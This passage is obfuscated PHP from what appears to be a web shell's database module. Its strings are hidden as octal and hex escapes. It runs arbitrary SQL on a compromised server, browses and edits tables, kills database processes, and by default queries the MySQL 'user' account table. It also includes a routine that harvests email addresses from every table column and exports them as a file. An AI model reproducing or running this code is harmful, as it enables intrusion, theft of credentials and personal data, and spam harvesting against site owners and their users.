!@is_numeric($sql_page)) { $sql_page = 0; } $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "\141") { $psql_sort[1] = "\x64"; } else { $psql_sort[1] = "\x61"; } if ($psql_sort[0] > $cfields - 1) { $psql_sort[0] = "\x30"; } $v = $psql_sort[0]; if ($crows > $sql_limit) { $pages = @ceil($crows / $sql_limit); $tmpsort = ''; if (@is_array($fields) && @isset($fields[$psql_sort[0]])) { $tmpsort = "\40\117\122\x44\105\122\40\102\131\x20\140" . $fields[$psql_sort[0]] . "\140\40" . ($psql_sort[1] == "\x61" ? "\x41\x53\x43" : "\x44\x45\x53\103"); } $table_limit = $tmpsort . "\x20\x4c\x49\115\111\124\x20" . $sql_limit * $sql_page . "\x2c" . $sql_limit; } else { $table_limit = ''; $pages = 0; } $ar_pages = array(); for ($i = 0; $i < $pages; $i++) { $ar_pages[$i] = z9s("\x33\x39\x37") . "\40" . ($i + 1); } if (@count($ar_pages) < 1) { $ar_pages = array("\x30" => z9s("\x33\71\x37") . "\x20\61"); } echo z2b(array(z9s("\x33\x39\65", array($sel_table, $cfields, $crows)), z10e(z9f(z7e(($sql_page > 0 ? z5c(array("\x61\143\x74" => "\163\161\x6c", "\144", "\x73\161\154\137\x73\145\162\x76\x65\x72", "\x73\x71\154\137\x75\163\x65\162", "\x73\161\x6c\x5f\x70\x61\163\x73", "\163\x71\x6c\137\160\x6f\x72\x74", "\x73\161\154\x5f\x65\x6e\x67\151\156\x65", "\163\161\x6c\137\141\143\164", "\164\x61\x62\154\145\137\141\x63\164", "\163\x71\154\x5f\144\x62", "\163\145\154\x5f\x74\141\x62\154\x65", "\x73\161\154\137\x70\x61\x67\145" => $sql_page == "\x31" ? "\116\125\x4c\x4c" : $sql_page - 1), z8v(z9s("\x33\71\66"), "\x37")) : z8v(z9s("\63\x39\66"), "\x37")) . z5c(array("\141\x63\164" => "\163\161\x6c", "\144", "\163\x71\x6c\137\163\145\162\166\x65\162", "\163\161\x6c\x5f\x75\x73\x65\162", "\x73\161\x6c\x5f\x70\x61\x73\x73", "\163\x71\x6c\x5f\160\x6f\x72\164", "\x73\161\x6c\137\145\x6e\x67\x69\x6e\x65", "\x73\161\x6c\x5f\x61\x63\x74", "\x74\141\x62\154\145\137\141\143\164", "\x73\x71\154\x5f\x64\142", "\x73\x65\x6c\137\x74\141\x62\x6c\x65"), z4a("\163\x71\x6c\137\x70\141\147\145", $ar_pages, "\61", 1) . z8v(z9s("\x33\x39\x38"), "\67")) . ($sql_page < $pages - 1 ? z5c(array("\x61\x63\x74" => "\x73\x71\154", "\144", "\163\x71\154\137\x73\145\x72\x76\x65\x72", "\x73\161\x6c\x5f\x75\163\145\x72", "\x73\x71\x6c\x5f\160\141\x73\x73", "\163\161\x6c\x5f\x70\x6f\x72\x74", "\163\x71\x6c\137\x65\156\147\151\x6e\x65", "\x73\161\154\x5f\141\143\x74", "\x74\141\x62\154\x65\137\141\143\164", "\x73\x71\154\137\x64\142", "\x73\x65\x6c\x5f\x74\141\142\154\x65", "\163\161\x6c\137\x70\141\147\x65" => $sql_page + 1), z8v(z9s("\63\x39\71"), "\67")) : z8v(z9s("\x33\71\x39"), "\67")))), "\x32")), "\61"); $sql->query("\123\105\114\x45\x43\x54\x20\x2a\40\106\x52\x4f\x4d\40" . $sel_table . $table_limit . "\x3b"); if ($sql->get_result()) { echo z9m("\62") . z7p() . z7k() . z5x('', "\x30") . z9m("\62") . z7p() . z7k(); echo z9m("\62"); echo z6g(); for ($i = 0; $i < @count($sql->columns); $i++) { echo ($i == 0 ? z9j(z9s("\66\x32"), "\x31\63", "\x32") : '') . z9j(z5c(array("\x61\x63\164" => "\163\x71\x6c", "\144", "\x73\161\x6c\x5f\x73\145\x72\166\x65\162", "\x73\161\154\x5f\165\163\145\162", "\x73\x71\154\x5f\x70\x61\163\x73", "\x73\x71\x6c\x5f\160\157\162\164", "\x73\161\x6c\137\145\x6e\147\151\156\145", "\x73\161\x6c\x5f\141\x63\164", "\x74\x61\142\x6c\145\137\141\x63\164", "\163\161\x6c\x5f\x64\x62", "\163\145\154\x5f\164\141\142\154\x65", "\x73\x71\x6c\137\160\x61\x67\x65", "\x73\161\x6c\x5f\x73\157\162\x74" => $psql_sort[0] == "{$i}" ? "{$i}" . ($psql_sort[1] == "\x61" ? "\x64" : "\141") : "{$i}" . $psql_sort[1]), z8v($sql->columns[$i] . ($psql_sort[0] == "{$i}" ? "\40" . ($psql_sort[1] == "\141" ? "\46\x75\141\162\162\73" : "\x26\144\x61\162\162\x3b") : ''), "\x33")), "\x31\x33", $i == @count($sql->columns) - 1 ? "\63" : ''); } echo z7u(); $print_arr = array(); for ($i = 0; $i < $sql->num_rows; $i++) { if (@is_array($sql->rows[$i])) { $tmparr = array(); foreach ($sql->rows[$i] as $rk => $rv) { $tmparr[] = $rv; } $print_arr[] = $tmparr; } } @usort($print_arr, "\x7a\63\x69"); if ($psql_sort[1] == "\144") { $print_arr = @array_reverse($print_arr); } for ($i = 0; $i < @count($print_arr); $i++) { echo z6g($i % 2 ? "\60" : "\x31"); $cr = 0; foreach ($print_arr[$i] as $rv) { $w = ''; for ($a = 0; $a < $sql->num_fields; $a++) { $w .= "\40\140" . $sql->columns[$a] . "\x60\x20\75\40\47" . @addslashes($print_arr[$i][$a]) . "\x27\40\101\x4e\x44"; } if ($a > 0) { $w = @substr($w, 0, @strlen($w) - 3); } echo ($cr == 0 ? z9j("\74\x6e\x6f\142\x72\x3e" . z5c(array("\x61\143\164" => "\163\x71\x6c", "\x64", "\163\161\154\x5f\163\x65\x72\x76\x65\162", "\163\161\x6c\x5f\x75\163\145\x72", "\163\x71\154\x5f\x70\141\x73\x73", "\x73\161\154\x5f\x70\157\162\164", "\x73\x71\x6c\x5f\145\x6e\147\151\156\145", "\x73\161\x6c\x5f\x61\x63\164" => "\x74\141\142\154\145\137\141\143\x74", "\x73\161\154\x5f\144\x62", "\163\x65\x6c\x5f\164\141\x62\x6c\145", "\x73\161\154\x5f\x74\142\x6c\137\151\156\x73\x65\x72\164\137\x71" => $w), z4a("\164\141\x62\154\145\137\141\x63\164", array("\151\156\x73\145\x72\164" => "\105\144\x69\x74", "\x64\145\154\x65\x74\x65" => "\104\x65\x6c\x65\x74\145"), "\x33") . z8v("\x26\162\x61\x71\x75\x6f\73", "\66")) . "\x3c\x2f\x6e\x6f\x62\162\x3e", "\x31\x34", "\62\70") : '') . z9j(@is_null($rv) ? "\x4e\x55\x4c\x4c" : @htmlspecialchars($rv), "\x31\x34", $cr == @count($print_arr[$i]) - 1 ? "\63" : ''); $cr++; } echo z7u(); } echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } } } elseif ($sql_act == "\144\x62\x5f\x61\x63\x74" && @isset($db_act) && $db_act == "\x73\145\154\x65\143\164" && @isset($sql_db) && !@empty($sql_db)) { echo z2b(z9s("\63\66\x36", $sql_db), "\x31"); $sql->query("\123\x48\117\x57\x20\x54\101\102\x4c\x45\x20\123\124\101\x54\125\x53\73"); if ($sql->get_result()) { $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "\x61") { $psql_sort[1] = "\144"; } else { $psql_sort[1] = "\x61"; } if ($psql_sort[0] >= $sql->num_fields) { $psql_sort[0] = "\60"; } $v = $psql_sort[0]; echo z9m("\62") . z7p() . z7k() . z5x('', "\x30") . z9m("\x32") . z7p() . z7k(); echo z9m("\x32") . z6g(); for ($i = 0; $i < $sql->num_fields; $i++) { echo z9j(z5c(array("\x61\143\x74" => "\x73\161\154", "\144", "\x73\x71\154\x5f\x73\x65\162\166\x65\162", "\x73\161\154\x5f\165\x73\145\162", "\163\161\x6c\137\x70\141\x73\163", "\163\161\154\137\x70\x6f\162\164", "\x73\x71\154\x5f\145\156\x67\x69\156\x65", "\x73\161\154\137\x61\x63\164", "\144\x62\x5f\141\143\x74", "\163\161\x6c\x5f\144\142", "\x73\x65\x6c\137\164\x61\142\x6c\145", "\163\161\154\137\160\141\147\x65", "\163\161\x6c\x5f\x73\x6f\162\x74" => $psql_sort[0] == "{$i}" ? "{$i}" . ($psql_sort[1] == "\141" ? "\x64" : "\141") : "{$i}" . $psql_sort[1]), z8v(($i == 0 ? "\x54\x61\x62\x6c\145\40" : '') . $sql->columns[$i] . ($psql_sort[0] == "{$i}" ? "\40" . ($psql_sort[1] == "\141" ? "\46\165\x61\x72\162\x3b" : "\46\144\141\162\162\73") : ''), "\63")), "\61\x33", $i == 0 ? "\62" : ($i == $sql->num_fields - 1 ? "\63" : '')) . ($i == 0 ? z9j(z9s("\63\66\x39"), "\x31\x33", "\70") : ''); } echo z7u(); $print_arr = array(); for ($i = 0; $i < $sql->num_rows; $i++) { if (@is_array($sql->rows[$i])) { $tmparr = array(); foreach ($sql->rows[$i] as $rk => $rv) { $tmparr[] = $rv; } $print_arr[] = $tmparr; } } @usort($print_arr, "\172\63\x69"); if ($psql_sort[1] == "\144") { $print_arr = @array_reverse($print_arr); } for ($i = 0; $i < @count($print_arr); $i++) { echo z6g($i % 2 ? "\x30" : "\x31"); $cr = 0; foreach ($print_arr[$i] as $rv) { echo z9j(@is_null($rv) ? "\116\125\114\114" : ($cr == 0 ? "\x3c\x6e\x6f\x62\x72\x3e" . z5c(array("\141\x63\164" => "\163\161\x6c", "\x73\161\154\x5f\163\145\162\x76\x65\x72", "\x73\x71\x6c\x5f\x75\x73\x65\162", "\x73\x71\154\137\x70\141\163\163", "\x73\161\154\x5f\160\x6f\x72\x74", "\x73\161\x6c\x5f\x65\x6e\147\151\x6e\145", "\144", "\x73\161\x6c\137\141\x63\164" => "\164\x61\x62\154\145\137\141\143\164", "\x73\161\154\x5f\144\x62", "\163\x65\x6c\x5f\164\x61\x62\154\145" => $rv, "\x74\x61\142\154\x65\x5f\141\x63\x74" => "\x62\162\x6f\167\163\x65"), z8v($rv, "\61\61")) . "\x3c\x2f\x6e\x6f\x62\x72\x3e" : @htmlspecialchars($rv)), "\x31\64", $cr == 0 ? "\x32" : ($cr == @count($print_arr[$i]) - 1 ? "\63" : '')); if ($cr == 0) { echo z9j("\x3c\156\x6f\x62\162\76" . z5c(array("\x61\x63\x74" => "\x73\x71\x6c", "\x64", "\163\161\154\137\163\x65\x72\x76\x65\162", "\163\161\154\137\x75\x73\x65\x72", "\163\161\154\137\160\141\x73\x73", "\x73\x71\154\x5f\160\157\162\x74", "\163\161\x6c\x5f\145\x6e\147\151\x6e\145", "\x73\161\x6c\x5f\141\x63\x74" => "\x74\141\x62\x6c\x65\x5f\141\x63\164", "\x73\x71\x6c\x5f\x64\x62", "\163\145\154\137\164\141\x62\x6c\145" => $rv), z4a("\164\x61\x62\154\x65\137\x61\143\x74", $table_actions, "\x33") . z8v("\46\x72\141\x71\165\157\73", "\x36")) . "\74\x2f\x6e\157\x62\x72\76", "\x31\64", "\70"); } $cr++; } echo z7u(); } echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } } } if ($sql_act == "\x71\165\x65\x72\x79") { echo z2b(z9s("\63\67\x30")); echo z9m("\62") . z5c(array("\x61\x63\164" => "\x73\161\154", "\144", "\163\x71\154\x5f\x73\145\x72\166\145\x72", "\x73\161\x6c\137\x75\163\145\x72", "\163\161\154\137\160\141\x73\163", "\163\x71\154\137\x70\x6f\x72\x74", "\x73\x71\x6c\137\x65\x6e\147\x69\x6e\x65", "\163\161\154\x5f\141\143\164" => "\161\x75\x65\162\x79", "\161\165\x65\162\171\137\143\x6f\156\x66\151\x72\x6d" => "\61"), z5n() . z7i(z5t(z9s("\x33\x36\x34")) . z9j(z5u("\163\x71\x6c\137\144\142", '', "\x37"))) . z9f(z5t(z9s("\x33\x37\60")) . z9j(z5w("\x73\161\154\x5f\161\x75\x65\162\171", "\65") . (@isset($sql_query) ? @htmlspecialchars($sql_query) : '') . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("\63\67\x31"), "\x37"))) . z5n()) . z10w(); if (@isset($query_confirm) && $query_confirm) { if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("\64\x34\67")); } } $q_sql_error = ''; $q_sql_result = ''; if (@strlen($sql_query) > 5) { $q_sql_result .= z2b(z9s("\x33\71\x34")); switch ($sql->query($sql_query)) { case "\60": $q_sql_result .= z2b("\105\x52\122\117\122\40\x3a\x20" . $sql->error); break; case "\61": if ($sql->get_result()) { $q_sql_result .= z9m("\62") . z7p() . z7k() . z5x('', "\60") . z9m("\x32") . z7p() . z7k(); foreach ($sql->columns as $k => $v) { $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES); } $keys = ''; $count_keys = @count($sql->columns); $key_num = 0; foreach ($sql->columns as $column) { if ($key_num == 0) { $keys .= z9j($column, "\61\x33", "\60\x32"); } elseif ($key_num == $count_keys - 1) { $keys .= z9j($column, "\x31\63", "\x30\x33"); } else { $keys .= z9j($column, "\61\x33", "\60"); } $key_num++; } $q_sql_result .= z7i($keys); for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $k => $v) { $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES); } $values = ''; $count_values = @count($sql->rows[$i]); $value_num = 0; foreach ($sql->rows[$i] as $row) { if ($value_num == 0) { $values .= z9j($row, "\x31\64", "\62"); } elseif ($value_num == $count_values - 1) { $values .= z9j($row, "\61\x34", "\63"); } else { $values .= z9j($row, "\61\64"); } $value_num++; } $q_sql_result .= z7i($values, $i % 2 ? "\x30" : "\61"); } $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } break; case "\x32": $ar = $sql->affected_rows() ? $sql->affected_rows() : "\60"; $q_sql_result .= z2b("\101\x46\x46\105\103\124\x45\104\x20\122\117\x57\x53\x3a\40" . $ar); break; } } if ($q_sql_result != '') { echo $q_sql_result; $q_sql_result = ''; } } } if ($sql_act == "\145\x6d\x61\x69\154\x73") { $emails = array(); if (!@isset($emails_filename)) { $emails_filename = $tempdir . "\x65\x6d\x61\x69\x6c\x73\x5f" . @getenv("\x53\x45\122\126\x45\122\137\116\x41\115\105") . "\x5f\144\142\x5f" . @date("\x64\55\155\55\x59\x5f\110\55\151\55\163") . "\x2e\x74\x78\x74"; } if (@isset($sql_db) && !@empty($sql_db)) { $sql->base = $sql_db; if ($sql->select_db()) { $table_list = array(); $sql->query("\x53\x48\117\127\x20\124\x41\x42\x4c\x45\x53\x20\x46\x52\x4f\115\40" . $sql_db . "\73"); if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $rk => $rv) { $table_list[] = $rv; } } } } } if (!@isset($sql_tables) || @empty($sql_tables)) { if (@isset($sel_table) && !@empty($sel_table)) { $sql_tables = $sel_table; } else { $sql_tables = @count($table_list) > 0 ? @implode("\x2c", $table_list) : ''; } } elseif (@isset($table_list) && @is_array($table_list)) { $tmp_tables = @explode("\54", $sql_tables); $sql_tables = ''; foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); if (@in_array($tmp_table, $table_list)) { $sql_tables .= $tmp_table . "\x2c"; } else { break; } } if (@empty($sql_tables)) { $sql_tables = @implode("\x2c", $table_list); } } echo z2b(z9s("\x33\67\x32")); echo z9m("\x32") . z5c(array("\x61\x63\164" => "\x73\x71\x6c", "\144", "\x73\x71\x6c\137\163\x65\x72\166\x65\x72", "\163\x71\x6c\137\165\x73\145\x72", "\x73\x71\154\x5f\160\x61\163\x73", "\x73\161\x6c\137\x70\157\x72\164", "\x73\161\x6c\137\x65\x6e\x67\x69\156\145", "\x73\x71\x6c\x5f\141\143\x74" => "\x65\x6d\141\x69\x6c\x73", "\x64\x75\155\x70\x5f\x63\157\x6e\x66\x69\162\x6d" => "\61"), z5n() . z7i(z5t(z9s("\x33\x36\x34")) . z9j(z4a("\163\x71\x6c\137\x64\142", $db_list, "\67", 1))) . z7i(z5t(z9s("\x33\67\x33")) . z9j(z5w("\x73\161\154\137\164\x61\142\154\x65\163", "\x35") . (@isset($sql_tables) ? @htmlspecialchars($sql_tables) : '') . z5q())) . z7i(z5t(z9s("\x33\67\x34")) . z9j(z5u("\x65\155\141\151\154\163\137\146\x69\154\x65\156\x61\x6d\145", $emails_filename, "\67"))) . z7i(z5t(z9c()) . z9j(z5y("\x73\x71\x6c\137\x73\x61\166\145\x32\x66\x69\x6c\x65", z9s("\63\67\x35"), "\163\x71\154\x5f\163\141\x76\145\62\146\151\154\x65") . z9c() . z5y("\x73\161\154\x5f\x64\x6f\x77\156\x6c\157\x61\144", z9s("\63\x37\66"), "\163\x71\154\x5f\144\x6f\x77\156\154\x6f\141\144"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("\x33\x37\x37"), "\67"))) . z5n()) . z10w(); if (@isset($dump_confirm) && $dump_confirm) { $fp = 0; if (@isset($sql_save2file) && $sql_save2file == "\x31" && @isset($dump_filename) && !@empty($dump_filename)) { $fp = @fopen($emails_filename, "\167"); } $dumping_arr = array(); $tmp_tables = @explode("\x2c", $sql_tables); foreach ($tmp_tables as $tmp_table) { $tmp_table = @trim($tmp_table); $dumping_arr[] = $tmp_table; } $dumping_arr = @array_unique($dumping_arr); $sql->base = $sql_db; if (!$sql->select_db()) { echo z2b(z9s("\64\x34\x37")); } elseif (@count($dumping_arr) < 1) { echo z2b(z9s("\x34\64\x38")); } else { foreach ($dumping_arr as $dump_table) { if ($sql->parse_fields($dump_table)) { foreach ($sql->columns as $ck => $cv) { if ($sql->query("\123\x45\x4c\105\x43\x54\x20" . $cv . "\x20\x46\x52\117\115\x20" . $dump_table . "\x20\127\x48\x45\122\x45\40" . $cv . "\40\122\105\107\x45\130\120\x20\47\136\133\x5e\x40\135\x2b\x40\133\136\100\135\53\x5c\x2e\133\x5e\100\135\173\x32\54\175\x24\47\73")) { if ($sql->get_result()) { for ($i = 0; $i < $sql->num_rows; $i++) { $tmpmails = z3v($sql->rows[$i][$cv]); if (@count($tmpmails) > 0) { foreach ($tmpmails as $mtmp) { $emails[] = $mtmp; } } } } } } } } $emails = @array_unique($emails); if (@count($emails) > 0) { $maildump = @implode("\15\12", $emails); if (@isset($sql_download) && $sql_download == "\x31") { @ob_clean(); @header("\x43\157\156\164\x65\x6e\x74\x2d\164\x79\x70\x65\x3a\40\141\160\160\x6c\151\143\141\x74\x69\x6f\x6e\57\x6f\x63\164\145\x74\x2d\x73\164\162\145\141\155"); @header("\x43\x6f\156\x74\145\x6e\x74\x2d\x6c\145\156\147\x74\150\72\40" . @strlen($maildump)); @header("\103\x6f\x6e\164\x65\x6e\164\55\144\x69\x73\x70\157\x73\151\x74\x69\157\156\72\40\141\164\164\141\143\x68\155\145\x6e\164\73\40\146\151\154\145\x6e\x61\155\145\75\42" . @basename($emails_filename) . "\42\73"); echo $maildump; die; } if (!@isset($sql_save2file) || $sql_save2file != "\x31") { echo z9m("\x32") . z6g() . z6w() . z5w('', "\61") . @htmlspecialchars($maildump) . z5q() . z7g() . z7u() . z10w() . z6d(); } elseif ($fp || @function_exists("\146\x69\x6c\x65\137\160\x75\164\x5f\143\157\x6e\164\145\156\x74\163")) { if (@fwrite($fp, $maildump) or @fputs($fp, $maildump) or @file_put_contents($emails_filename, $maildump)) { echo z2b(z9s("\64\64\x39", $emails_filename)); } else { echo z2b(z9s("\64\x35\60")); } } else { echo z2b(z9s("\x34\x35\60")); } } } } } if ($sql_act == "\x73\x65\x72\166\145\162\163\164\141\x74\165\x73") { echo z2b(z9s("\63\67\70"), "\61"); $sql->query("\x53\x48\x4f\127\40\x53\124\101\x54\x55\123"); if ($sql->get_result()) { echo z9m("\x32") . z7i(z9j(z9s("\x33\x38\x30"), "\61\63", "\62") . z9j(z9s("\x33\x38\x31"), "\x31\63", "\x33")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "\x30" : "\x31"); $cr = 0; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "\61\x34", $cr == 0 ? "\x32\x35" : ($cr == @count($sql->rows[$i]) - 1 ? "\x33" : '')); $cr++; } echo z7u(); } echo z10w(); } } if ($sql_act == "\163\x65\162\x76\x65\x72\x76\x61\162\163") { echo z2b(z9s("\63\x37\71"), "\x31"); $sql->query("\x53\110\x4f\x57\40\x56\101\x52\x49\x41\102\x4c\105\x53"); if ($sql->get_result()) { echo z9m("\x32") . z7i(z9j(z9s("\63\x38\x30"), "\61\x33", "\x32") . z9j(z9s("\x33\70\61"), "\x31\63", "\x33")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "\x30" : "\x31"); $cr = 0; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "\61\x34", $cr == 0 ? "\x32\65" : ($cr == @count($sql->rows[$i]) - 1 ? "\x33" : '')); $cr++; } echo z7u(); } echo z10w(); } } if ($sql_act == "\160\162\157\x63\145\163\x73\145\x73") { if (@isset($kill) && !@empty($kill)) { $query = "\113\111\114\x4c\x20" . $kill . "\x3b"; $sql->query($query); echo z2b(z9s("\63\71\63", $kill), "\61"); } else { echo z2b(z9s("\63\x38\x32"), "\61"); } $sql->query("\123\110\117\x57\40\x50\122\x4f\103\x45\x53\x53\x4c\111\123\124\x3b"); if ($sql->get_result()) { echo z9m("\62") . z7i(z9j(z9s("\63\70\x33"), "\61\x33", "\x32") . z9j(z9s("\63\x38\64"), "\61\x33") . z9j(z9s("\63\70\x35"), "\x31\x33") . z9j(z9s("\63\70\x36"), "\x31\x33") . z9j(z9s("\x33\70\67"), "\x31\63") . z9j(z9s("\x33\70\70"), "\61\63") . z9j(z9s("\63\x38\x39"), "\x31\x33") . z9j(z9s("\63\71\60"), "\x31\x33") . z9j(z9s("\63\71\61"), "\x31\x33", "\x33")); for ($i = 0; $i < $sql->num_rows; $i++) { echo z6g($i % 2 ? "\60" : "\61"); $cr = 0; $pid = ''; foreach ($sql->rows[$i] as $rk => $rv) { echo z9j($rv, "\x31\64", $cr == 0 ? "\x35" : ''); if ($cr == 0) { $pid = $rv; } $cr++; } echo z9j(z5c(array("\x61\143\164" => "\163\161\154", "\x64", "\x73\161\154\137\x73\x65\x72\x76\x65\162", "\x73\161\x6c\137\165\x73\145\162", "\163\161\x6c\137\160\141\x73\163", "\x73\x71\154\x5f\160\157\162\164", "\x73\161\x6c\137\145\156\147\151\156\x65", "\163\x71\154\x5f\x61\143\164" => "\x70\x72\x6f\143\145\x73\x73\145\x73", "\153\x69\x6c\x6c" => $pid), z8v(z9s("\x33\71\x32"), "\x37")), "\61\64"); echo z7u(); } echo z10w(); } } if ($sql_act == "\163\x68\157\167\x64\142") { $psql_sort = z5r($sql_sort); if ($psql_sort[1] != "\141") { $psql_sort[1] = "\144"; } if ($psql_sort[0] > 2) { $psql_sort[0] = "\x30"; } $v = $psql_sort[0]; echo z2b(z9s("\63\x35\71"), "\x31"); echo z9m("\x32"); echo z7i(z9j(z5c(array("\x61\x63\x74" => "\163\161\154", "\x64", "\x73\x71\x6c\x5f\x73\145\x72\x76\x65\162", "\163\161\154\x5f\x75\163\145\162", "\x73\x71\154\x5f\160\x61\163\x73", "\163\x71\154\137\160\x6f\162\164", "\x73\161\x6c\x5f\x65\156\147\x69\156\x65", "\x73\x71\x6c\x5f\x73\157\x72\x74" => $psql_sort[0] == "\60" ? "\x30" . ($psql_sort[1] == "\x61" ? "\x64" : "\x61") : "\60" . $psql_sort[1]), z8v(z9s("\x33\x36\60") . ($psql_sort[0] == "\60" ? "\x20" . ($psql_sort[1] == "\141" ? "\x26\165\x61\x72\x72\73" : "\x26\144\x61\x72\x72\x3b") : ''), "\x33")), "\61\63", "\62") . z9j(z5c(array("\141\143\x74" => "\x73\161\154", "\x64", "\x73\x71\x6c\137\x73\x65\x72\x76\145\x72", "\x73\x71\x6c\137\x75\x73\145\162", "\x73\x71\x6c\x5f\x70\141\163\x73", "\x73\161\x6c\137\160\x6f\162\164", "\x73\161\x6c\137\145\x6e\x67\151\156\x65", "\163\161\x6c\137\163\157\x72\x74" => $psql_sort[0] == "\61" ? "\61" . ($psql_sort[1] == "\141" ? "\x64" : "\141") : "\61" . $psql_sort[1]), z8v(z9s("\63\x36\x31") . ($psql_sort[0] == "\61" ? "\40" . ($psql_sort[1] == "\141" ? "\x26\165\x61\x72\x72\x3b" : "\x26\x64\141\x72\162\73") : ''), "\63")), "\61\x33") . z9j(z5c(array("\x61\143\x74" => "\x73\161\154", "\144", "\x73\161\x6c\x5f\x73\x65\x72\x76\145\162", "\x73\x71\x6c\x5f\x75\163\x65\162", "\163\x71\x6c\x5f\x70\x61\163\163", "\163\161\154\x5f\160\x6f\162\164", "\x73\x71\154\x5f\145\x6e\147\x69\x6e\x65", "\163\161\154\x5f\163\x6f\x72\164" => $psql_sort[0] == "\x32" ? "\x32" . ($psql_sort[1] == "\141" ? "\x64" : "\141") : "\62" . $psql_sort[1]), z8v(z9s("\63\x36\62") . ($psql_sort[0] == "\62" ? "\40" . ($psql_sort[1] == "\x61" ? "\46\x75\141\162\x72\73" : "\46\x64\x61\162\x72\73") : ''), "\63")), "\x31\x33") . z9j(z9s("\63\66\x33"), "\61\63", "\x33")); if (@count($db_list) > 1) { $def_db = $sql->base; $total_tables = 0; $total_size = 0; $print_arr = array(); foreach ($sql->list_dbs() as $k => $kv) { $sql->base = $k; $tables = "\x30"; $size = "\60"; if ($sql->select_db()) { $sql->query("\x53\x48\117\127\x20\124\x41\102\x4c\105\x53\x3b"); if ($sql->get_result()) { $tables = $sql->num_rows; } $sql->query("\x53\105\x4c\x45\x43\124\x20\x72\x6f\x75\156\x64\x28\x64\141\x74\x61\x5f\154\145\156\x67\x74\150\40\x2b\40\x69\156\x64\145\170\137\x6c\x65\156\x67\x74\150\x29\x20\x46\122\117\115\40\151\x6e\x66\157\x72\x6d\141\164\x69\157\156\x5f\163\x63\150\x65\x6d\x61\x2e\x54\101\x42\114\105\x53\x20\x57\110\x45\x52\105\x20\164\141\142\x6c\145\x5f\x73\143\x68\x65\x6d\141\40\75\x20\42" . $k . "\x22\73"); if ($sql->get_result()) { $size = @implode('', $sql->rows[0]); } } $print_arr[] = array($k, $size, $tables); $total_tables += $tables; $total_size += $size; } $sql->base = $def_db; $sql->select_db(); } if (@count($print_arr) > 0) { $count = 0; @usort($print_arr, "\x7a\63\x69"); if ($psql_sort[1] == "\x64") { $print_arr = @array_reverse($print_arr); } foreach ($print_arr as $ar) { echo z7i(z9j(z5c(array("\x61\143\164" => "\x73\161\x6c", "\x73\161\154\137\x73\x65\162\166\x65\x72", "\163\161\x6c\137\x75\163\145\162", "\163\x71\154\137\x70\x61\163\163", "\163\161\x6c\x5f\160\157\162\164", "\x73\161\x6c\x5f\145\156\147\151\156\x65", "\163\x71\154\x5f\x61\143\x74" => "\144\142\x5f\141\x63\x74", "\144\142\x5f\141\x63\x74" => "\163\x65\x6c\145\x63\x74", "\x64", "\163\161\154\x5f\x64\142" => $ar[0]), z8v($ar[0], "\x31\61")), "\x31\64", "\x32") . z9j(z7c($ar[1]), "\61\64") . z9j($ar[2], "\x31\x34") . z9j("\x3c\156\157\x62\x72\x3e" . z5c(array("\141\x63\x74" => "\163\161\154", "\x64", "\163\161\x6c\137\163\145\162\166\x65\162", "\x73\161\x6c\x5f\165\163\145\x72", "\x73\x71\x6c\137\x70\x61\163\163", "\x73\x71\x6c\x5f\160\157\x72\164", "\x73\161\154\x5f\x65\x6e\x67\151\x6e\145", "\x73\161\x6c\x5f\141\143\164" => "\144\x62\137\141\143\164", "\163\161\x6c\137\144\x62" => $ar[0]), z4a("\x64\142\x5f\x61\143\164", $db_actions, "\63") . z8v("\x26\x72\141\161\x75\x6f\73", "\x36")) . "\74\57\x6e\157\142\x72\x3e", "\x31\x34", "\x33\70"), $count % 2 ? "\x30" : "\61"); $count++; } echo z7i(z9j(z8e(z9s("\x34\60\x39", $count)), "\x31\63", "\x32") . z9j(z7c($total_size), "\x31\x33") . z9j($total_tables, "\x31\x33") . z9j(z9c(), "\x31\63", "\x33")); } echo z10w(); } } } else { $hmsg = z9s("\61\71\x31"); } } if (!$hideconnect) { if (!@isset($q_sql_query)) { $q_sql_query = "\x53\110\x4f\127\x20\104\101\124\101\102\x41\x53\x45\123\x3b\xa\123\x45\x4c\105\x43\x54\x20\52\40\106\x52\117\x4d\x20\165\x73\x65\162\x3b"; } if (!@isset($q_sql_filename)) { $q_sql_filename = $tempdir . "\x64\x75\x6d\x70\137" . @getenv("\x53\105\122\x56\x45\x52\137\116\x41\115\105") . "\x5f\x64\x62\x5f" . @date("\x64\55\x6d\55\x59\x5f\x48\55\151\55\x73") . "\x2e\x73\x71\154"; } $available_arr = array(); if ($bmysql) { $available_arr["\115\171\x53\x51\114"] = "\115\171\123\x51\114"; } if ($bmssql) { $available_arr["\x4d\x53\123\x51\x4c"] = "\115\123\123\121\x4c"; } if ($bpostgres) { $available_arr["\x50\157\x73\164\x67\x72\x65\x53\x51\114"] = "\120\x6f\163\x74\147\162\x65\x53\x51\114"; } if ($boracle) { $available_arr["\x4f\x72\141\143\154\x65"] = "\117\x72\x61\x63\x6c\x65"; } echo z2b(z9s("\x34\65\x31") . ($hmsg != '' ? "\40\72\x20" . $hmsg : '')); echo z9m("\62") . z5c(array("\141\143\x74" => "\163\x71\x6c", "\x64"), z5n() . z7i(z7e(z8e(z9s("\x34\x35\62"))) . z7l(z5u("\163\161\x6c\x5f\x73\145\x72\x76\x65\162", "\x31\x32\67\x2e\60\56\60\56\61", "\x34") . "\x3a" . z5u("\x73\x71\154\x5f\160\157\x72\164", "\x33\x33\60\66", "\61")) . z7e(z8e(z9s("\x34\65\63"))) . z7l(z5u("\x73\161\x6c\x5f\165\163\145\162", 